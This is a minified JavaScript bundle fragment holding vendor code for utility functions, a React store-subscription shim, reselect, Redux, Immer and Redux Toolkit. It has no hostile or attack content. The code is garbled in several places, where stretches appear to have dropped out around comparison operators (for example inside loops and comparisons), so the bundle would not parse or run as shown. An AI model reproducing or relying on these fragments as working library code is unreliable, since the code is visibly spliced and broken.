Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(jN);var Sd={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(Sd);var Ux={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",s="[object Arguments]",o="[object Symbol]",l="[object Date]",c="[object Map]",u="[object Set]",d="[object Array]",f="[object Function]",p="[object ArrayBuffer]",h="[object Object]",x="[object Error]",g="[object DataView]",y="[object Uint8Array]",v="[object Uint8ClampedArray]",b="[object Uint16Array]",w="[object Uint32Array]",j="[object BigUint64Array]",N="[object Int8Array]",k="[object Int16Array]",z="[object Int32Array]",S="[object BigInt64Array]",O="[object Float32Array]",A="[object Float64Array]";e.argumentsTag=s,e.arrayBufferTag=p,e.arrayTag=d,e.bigInt64ArrayTag=S,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=g,e.dateTag=l,e.errorTag=x,e.float32ArrayTag=O,e.float64ArrayTag=A,e.functionTag=f,e.int16ArrayTag=k,e.int32ArrayTag=z,e.int8ArrayTag=N,e.mapTag=c,e.numberTag=r,e.objectTag=h,e.regexpTag=t,e.setTag=u,e.stringTag=n,e.symbolTag=o,e.uint16ArrayTag=b,e.uint32ArrayTag=w,e.uint8ArrayTag=y,e.uint8ClampedArrayTag=v})(Ux);var NN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(NN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=jN,n=Sd,r=Ux,i=Bx,s=NN;function o(d,f){return l(d,void 0,d,new Map,f)}function l(d,f,p,h=new Map,x=void 0){const g=x==null?void 0:x(d,f,p,h);if(g!==void 0)return g;if(i.isPrimitive(d))return d;if(h.has(d))return h.get(d);if(Array.isArray(d)){const y=new Array(d.length);h.set(d,y);for(let v=0;vt.isMatch(s,i)}e.matches=r})(yN);var kN={},zN={},SN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Wx,n=Sd,r=Ux;function i(s,o){return t.cloneDeepWith(s,(l,c,u,d)=>{const f=o==null?void 0:o(l,c,u,d);if(f!==void 0)return f;if(typeof s=="object"){if(n.getTag(s)===r.objectTag&&typeof s.constructor!="function"){const p={};return d.set(s,p),t.copyProperties(p,s,u,d),p}switch(Object.prototype.toString.call(s)){case r.numberTag:case r.stringTag:case r.booleanTag:{const p=new s.constructor(s==null?void 0:s.valueOf());return t.copyProperties(p,s),p}case r.argumentsTag:{const p={};return t.copyProperties(p,s),p.length=s.length,p[Symbol.iterator]=s[Symbol.iterator],p}default:return}}})}e.cloneDeepWith=i})(SN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=SN;function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(zN);var CN={},Vx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?FA:BA;ON.useSyncExternalStore=ls.useSyncExternalStore!==void 0?ls.useSyncExternalStore:WA;AN.exports=ON;var UA=AN.exports;/** + * @license React + * use-sync-external-store-shim/with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Cd=m,VA=UA;function HA(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var KA=typeof Object.is=="function"?Object.is:HA,GA=VA.useSyncExternalStore,YA=Cd.useRef,qA=Cd.useEffect,XA=Cd.useMemo,ZA=Cd.useDebugValue;_N.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=YA(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=XA(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,KA(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=GA(e,s[0],s[1]);return qA(function(){o.hasValue=!0,o.value=l},[l]),ZA(l),l};EN.exports=_N;var QA=EN.exports,Hx=m.createContext(null),JA=e=>e,ot=()=>{var e=m.useContext(Hx);return e?e.store.dispatch:JA},jc=()=>{},eO=()=>jc,tO=(e,t)=>e===t;function je(e){var t=m.useContext(Hx),n=m.useMemo(()=>t?r=>{if(r!=null)return e(r)}:jc,[t,e]);return QA.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:eO,t?t.store.getState:jc,t?t.store.getState:jc,n,tO)}function nO(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function rO(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function iO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var xy=e=>Array.isArray(e)?e:[e];function aO(e){const t=Array.isArray(e[0])?e[0]:e;return iO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function sO(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Wl(),o.resetResultsCount()},o.resultsCount=()=>s,o.resetResultsCount=()=>{s=0},o}function uO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let s=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),nO(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:p=[],argsMemoize:h=TN,argsMemoizeOptions:x=[]}=d,g=xy(p),y=xy(x),v=aO(i),b=f(function(){return s++,u.apply(null,arguments)},...g),w=h(function(){o++;const N=sO(v,arguments);return l=b.apply(null,N),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>s,resetRecomputations:()=>{s=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var I=uO(TN),dO=Object.assign((e,t=I)=>{rO(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(s=>e[s]);return t(r,(...s)=>s.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>dO}),MN={},LN={},IN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,s)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(ri)return s==="desc"?-1:1}return s==="desc"?l-o:o-l}return 0};e.compareValues=n})(IN);var DN={},Kx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(Kx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Kx,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(s,o){return Array.isArray(s)?!1:typeof s=="number"||typeof s=="boolean"||s==null||t.isSymbol(s)?!0:typeof s=="string"&&(r.test(s)||!n.test(s))||o!=null&&Object.hasOwn(o,s)}e.isKey=i})(DN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=IN,n=DN,r=kd;function i(s,o,l,c){if(s==null)return[];l=c?void 0:l,Array.isArray(s)||(s=Object.values(s)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;yx==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return s.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;gh.original)}e.orderBy=i})(LN);var RN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],s=Math.floor(r),o=(l,c)=>{for(let u=0;u1&&r.isIterateeCall(s,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(s,n.flatten(o),["asc"])}e.sortBy=i})(MN);var fO=MN.sortBy;const Pd=Wr(fO);var $N=e=>e.legend.settings,mO=e=>e.legend.size,pO=e=>e.legend.payload;I([pO,$N],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?Pd(r,n):r});var Ul=1;function hO(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=m.useState({height:0,left:0,top:0,width:0}),r=m.useCallback(i=>{if(i!=null){var s=i.getBoundingClientRect(),o={height:s.height,left:s.left,top:s.top,width:s.width};(Math.abs(o.height-t.height)>Ul||Math.abs(o.left-t.left)>Ul||Math.abs(o.top-t.top)>Ul||Math.abs(o.width-t.width)>Ul)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function Pt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var xO=typeof Symbol=="function"&&Symbol.observable||"@@observable",gy=xO,cm=()=>Math.random().toString(36).substring(7).split("").join("."),vO={INIT:`@@redux/INIT${cm()}`,REPLACE:`@@redux/REPLACE${cm()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${cm()}`},su=vO;function Yx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function BN(e,t,n){if(typeof e!="function")throw new Error(Pt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(Pt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(Pt(1));return n(BN)(e,t)}let r=e,i=t,s=new Map,o=s,l=0,c=!1;function u(){o===s&&(o=new Map,s.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(Pt(3));return i}function f(y){if(typeof y!="function")throw new Error(Pt(4));if(c)throw new Error(Pt(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(Pt(6));v=!1,u(),o.delete(b),s=null}}}function p(y){if(!Yx(y))throw new Error(Pt(7));if(typeof y.type>"u")throw new Error(Pt(8));if(typeof y.type!="string")throw new Error(Pt(17));if(c)throw new Error(Pt(9));try{c=!0,i=r(i,y)}finally{c=!1}return(s=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(Pt(10));r=y,p({type:su.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(Pt(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[gy](){return this}}}return p({type:su.INIT}),{dispatch:p,subscribe:f,getState:d,replaceReducer:h,[gy]:x}}function gO(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:su.INIT})>"u")throw new Error(Pt(12));if(typeof n(void 0,{type:su.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(Pt(13))})}function FN(e){const t=Object.keys(e),n={};for(let s=0;s"u")throw l&&l.type,new Error(Pt(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function ou(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function yO(...e){return t=>(n,r)=>{const i=t(n,r);let s=()=>{throw new Error(Pt(15))};const o={getState:i.getState,dispatch:(c,...u)=>s(c,...u)},l=e.map(c=>c(o));return s=ou(...l)(i.dispatch),{...i,dispatch:s}}}function WN(e){return Yx(e)&&"type"in e&&typeof e.type=="string"}var UN=Symbol.for("immer-nothing"),yy=Symbol.for("immer-draftable"),Vt=Symbol.for("immer-state");function Un(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var un=Object,cs=un.getPrototypeOf,lu="constructor",Ed="prototype",Wp="configurable",cu="enumerable",Nc="writable",Bo="value",Ir=e=>!!e&&!!e[Vt];function Zn(e){var t;return e?VN(e)||Ad(e)||!!e[yy]||!!((t=e[lu])!=null&&t[yy])||Od(e)||Td(e):!1}var bO=un[Ed][lu].toString(),by=new WeakMap;function VN(e){if(!e||!qx(e))return!1;const t=cs(e);if(t===null||t===un[Ed])return!0;const n=un.hasOwnProperty.call(t,lu)&&t[lu];if(n===Object)return!0;if(!Ea(n))return!1;let r=by.get(n);return r===void 0&&(r=Function.toString.call(n),by.set(n,r)),r===bO}function _d(e,t,n=!0){ol(e)===0?(n?Reflect.ownKeys(e):un.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function ol(e){const t=e[Vt];return t?t.type_:Ad(e)?1:Od(e)?2:Td(e)?3:0}var wy=(e,t,n=ol(e))=>n===2?e.has(t):un[Ed].hasOwnProperty.call(e,t),Up=(e,t,n=ol(e))=>n===2?e.get(t):e[t],uu=(e,t,n,r=ol(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function wO(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var Ad=Array.isArray,Od=e=>e instanceof Map,Td=e=>e instanceof Set,qx=e=>typeof e=="object",Ea=e=>typeof e=="function",um=e=>typeof e=="boolean";function jO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var Nr=e=>e.copy_||e.base_,Xx=e=>e.modified_?e.copy_:e.base_;function Vp(e,t){if(Od(e))return new Map(e);if(Td(e))return new Set(e);if(Ad(e))return Array[Ed].slice.call(e);const n=VN(e);if(t===!0||t==="class_only"&&!n){const r=un.getOwnPropertyDescriptors(e);delete r[Vt];let i=Reflect.ownKeys(r);for(let s=0;s1&&un.defineProperties(e,{set:Vl,add:Vl,clear:Vl,delete:Vl}),un.freeze(e),t&&_d(e,(n,r)=>{Zx(r,!0)},!1)),e}function NO(){Un(2)}var Vl={[Bo]:NO};function Md(e){return e===null||!qx(e)?!0:un.isFrozen(e)}var du="MapSet",Hp="Patches",jy="ArrayMethods",HN={};function fa(e){const t=HN[e];return t||Un(0,e),t}var Ny=e=>!!HN[e],Fo,KN=()=>Fo,kO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:Ny(du)?fa(du):void 0,arrayMethodsPlugin_:Ny(jy)?fa(jy):void 0});function ky(e,t){t&&(e.patchPlugin_=fa(Hp),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Kp(e){Gp(e),e.drafts_.forEach(zO),e.drafts_=null}function Gp(e){e===Fo&&(Fo=e.parent_)}var zy=e=>Fo=kO(Fo,e);function zO(e){const t=e[Vt];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Sy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[Vt].modified_&&(Kp(t),Un(4)),Zn(e)&&(e=Cy(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[Vt].base_,e,t)}else e=Cy(t,n);return SO(t,e,!0),Kp(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==UN?e:void 0}function Cy(e,t){if(Md(t))return t;const n=t[Vt];if(!n)return fu(t,e.handledSet_,e);if(!Ld(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);qN(n,e)}return n.copy_}function SO(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Zx(t,n)}function GN(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var Ld=(e,t)=>e.scope_===t,CO=[];function YN(e,t,n,r){const i=Nr(e),s=e.type_;if(r!==void 0&&Up(i,r,s)===t){uu(i,r,n,s);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;_d(i,(c,u)=>{if(Ir(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??CO;for(const l of o)uu(i,l,n,s)}function PO(e,t,n){e.callbacks_.push(function(i){var l;const s=t;if(!s||!Ld(s,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(s);const o=Xx(s);YN(e,s.draft_??s,o,n),qN(s,i)})}function qN(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const s=i.getPath(e);s&&i.generatePatches_(e,s,t)}GN(e)}}function EO(e,t,n){const{scope_:r}=e;if(Ir(n)){const i=n[Vt];Ld(i,r)&&i.callbacks_.push(function(){kc(e);const o=Xx(i);YN(e,n,o,t)})}else Zn(n)&&e.callbacks_.push(function(){const s=Nr(e);e.type_===3?s.has(n)&&fu(n,r.handledSet_,r):Up(s,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&fu(Up(e.copy_,t,e.type_),r.handledSet_,r)})}function fu(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Ir(e)||t.has(e)||!Zn(e)||Md(e)||(t.add(e),_d(e,(r,i)=>{if(Ir(i)){const s=i[Vt];if(Ld(s,n)){const o=Xx(s);uu(e,r,o,e.type_),GN(s)}}else Zn(i)&&fu(i,t,n)})),e}function _O(e,t){const n=Ad(e),r={type_:n?1:0,scope_:t?t.scope_:KN(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,s=mu;n&&(i=[r],s=Wo);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,[l,r]}var mu={get(e,t){if(t===Vt)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=Nr(e);if(!wy(i,t,e.type_))return AO(e,i,t);const s=i[t];if(e.finalized_||!Zn(s)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&jO(t))return s;if(s===dm(e.base_,t)){kc(e);const o=e.type_===1?+t:t,l=qp(e.scope_,s,e,o);return e.copy_[o]=l}return s},has(e,t){return t in Nr(e)},ownKeys(e){return Reflect.ownKeys(Nr(e))},set(e,t,n){const r=XN(Nr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=dm(Nr(e),t),s=i==null?void 0:i[Vt];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(wO(n,i)&&(n!==void 0||wy(e.base_,t,e.type_)))return!0;kc(e),Yp(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),EO(e,t,n)),!0},deleteProperty(e,t){return kc(e),dm(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),Yp(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Nr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[Nc]:!0,[Wp]:e.type_!==1||t!=="length",[cu]:r[cu],[Bo]:n[t]}},defineProperty(){Un(11)},getPrototypeOf(e){return cs(e.base_)},setPrototypeOf(){Un(12)}},Wo={};for(let e in mu){let t=mu[e];Wo[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}Wo.deleteProperty=function(e,t){return Wo.set.call(this,e,t,void 0)};Wo.set=function(e,t,n){return mu.set.call(this,e[0],t,n,e[0])};function dm(e,t){const n=e[Vt];return(n?Nr(n):e)[t]}function AO(e,t,n){var i;const r=XN(t,n);return r?Bo in r?r[Bo]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function XN(e,t){if(!(t in e))return;let n=cs(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=cs(n)}}function Yp(e){e.modified_||(e.modified_=!0,e.parent_&&Yp(e.parent_))}function kc(e){e.copy_||(e.assigned_=new Map,e.copy_=Vp(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var OO=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(Ea(n)&&!Ea(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}Ea(r)||Un(6),i!==void 0&&!Ea(i)&&Un(7);let s;if(Zn(n)){const o=zy(this),l=qp(o,n,void 0);let c=!0;try{s=r(l),c=!1}finally{c?Kp(o):Gp(o)}return ky(o,i),Sy(s,o)}else if(!n||!qx(n)){if(s=r(n),s===void 0&&(s=n),s===UN&&(s=void 0),this.autoFreeze_&&Zx(s,!0),i){const o=[],l=[];fa(Hp).generateReplacementPatches_(n,s,{patches_:o,inversePatches_:l}),i(o,l)}return s}else Un(1,n)},this.produceWithPatches=(n,r)=>{if(Ea(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,s;return[this.produce(n,r,(l,c)=>{i=l,s=c}),i,s]},um(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),um(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),um(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Zn(t)||Un(8),Ir(t)&&(t=Yn(t));const n=zy(this),r=qp(n,t,void 0);return r[Vt].isManual_=!0,Gp(n),r}finishDraft(t,n){const r=t&&t[Vt];(!r||!r.isManual_)&&Un(9);const{scope_:i}=r;return ky(i,n),Sy(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const s=n[r];if(s.path.length===0&&s.op==="replace"){t=s.value;break}}r>-1&&(n=n.slice(r+1));const i=fa(Hp).applyPatches_;return Ir(t)?i(t,n):this.produce(t,s=>i(s,n))}};function qp(e,t,n,r){const[i,s]=Od(t)?fa(du).proxyMap_(t,n):Td(t)?fa(du).proxySet_(t,n):_O(t,n);return((n==null?void 0:n.scope_)??KN()).drafts_.push(i),s.callbacks_=(n==null?void 0:n.callbacks_)??[],s.key_=r,n&&r!==void 0?PO(n,s,r):s.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(s);const{patchPlugin_:u}=c;s.modified_&&u&&u.generatePatches_(s,[],c)}),i}function Yn(e){return Ir(e)||Un(10,e),ZN(e)}function ZN(e){if(!Zn(e)||Md(e))return e;const t=e[Vt];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Vp(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Vp(e,!0);return _d(n,(i,s)=>{uu(n,i,ZN(s))},r),t&&(t.finalized_=!1),n}var TO=new OO,QN=TO.produce;function JN(e){return({dispatch:n,getState:r})=>i=>s=>typeof s=="function"?s(n,r,e):i(s)}var MO=JN(),LO=JN,IO=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?ou:ou.apply(null,arguments)};function On(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(mn(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>WN(r)&&r.type===e,n}var ek=class ro extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,ro.prototype)}static get[Symbol.species](){return ro}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new ro(...t[0].concat(this)):new ro(...t.concat(this))}};function Py(e){return Zn(e)?QN(e,()=>{}):e}function Hl(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function DO(e){return typeof e=="boolean"}var RO=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:s=!0}=t??{};let o=new ek;return n&&(DO(n)?o.push(MO):o.push(LO(n.extraArgument))),o},tk="RTK_autoBatch",He=()=>e=>({payload:e,meta:{[tk]:!0}}),Ey=e=>t=>{setTimeout(t,e)},nk=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,s=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:Ey(10):e.type==="callback"?e.queueNotification:Ey(e.timeout),u=()=>{o=!1,s&&(s=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),p=r.subscribe(f);return l.add(d),()=>{p(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[tk]),s=!i,s&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},$O=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new ek(e);return r&&i.push(nk(typeof r=="object"?r:void 0)),i};function BO(e){const t=RO(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:s=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(Yx(n))l=FN(n);else throw new Error(mn(1));let c;typeof r=="function"?c=r(t):c=t();let u=ou;i&&(u=IO({trace:!1,...typeof i=="object"&&i}));const d=yO(...c),f=$O(d);let p=typeof o=="function"?o(f):f();const h=u(...p);return BN(l,s,h)}function rk(e){const t={},n=[];let r;const i={addCase(s,o){const l=typeof s=="string"?s:s.type;if(!l)throw new Error(mn(28));if(l in t)throw new Error(mn(29));return t[l]=o,i},addAsyncThunk(s,o){return o.pending&&(t[s.pending.type]=o.pending),o.rejected&&(t[s.rejected.type]=o.rejected),o.fulfilled&&(t[s.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:s.settled,reducer:o.settled}),i},addMatcher(s,o){return n.push({matcher:s,reducer:o}),i},addDefaultCase(s){return r=s,i}};return e(i),[t,n,r]}function FO(e){return typeof e=="function"}function WO(e,t){let[n,r,i]=rk(t),s;if(FO(e))s=()=>Py(e());else{const l=Py(e);s=()=>l}function o(l=s(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(Ir(d)){const h=f(d,c);return h===void 0?d:h}else{if(Zn(d))return QN(d,p=>f(p,c));{const p=f(d,c);if(p===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return p}}return d},l)}return o.getInitialState=s,o}var UO="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",VO=(e=21)=>{let t="",n=e;for(;n--;)t+=UO[Math.random()*64|0];return t},HO=Symbol.for("rtk-slice-createasyncthunk");function KO(e,t){return`${e}/${t}`}function GO({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[HO];return function(i){const{name:s,reducerPath:o=s}=i;if(!s)throw new Error(mn(11));const l=(typeof i.reducers=="function"?i.reducers(qO()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,N){const k=typeof j=="string"?j:j.type;if(!k)throw new Error(mn(12));if(k in u.sliceCaseReducersByType)throw new Error(mn(13));return u.sliceCaseReducersByType[k]=N,d},addMatcher(j,N){return u.sliceMatchers.push({matcher:j,reducer:N}),d},exposeAction(j,N){return u.actionCreators[j]=N,d},exposeCaseReducer(j,N){return u.sliceCaseReducersByName[j]=N,d}};c.forEach(j=>{const N=l[j],k={reducerName:j,type:KO(s,j),createNotation:typeof i.reducers=="function"};ZO(N)?JO(k,N,d,t):XO(k,N,d)});function f(){const[j={},N=[],k=void 0]=typeof i.extraReducers=="function"?rk(i.extraReducers):[i.extraReducers],z={...j,...u.sliceCaseReducersByType};return WO(i.initialState,S=>{for(let O in z)S.addCase(O,z[O]);for(let O of 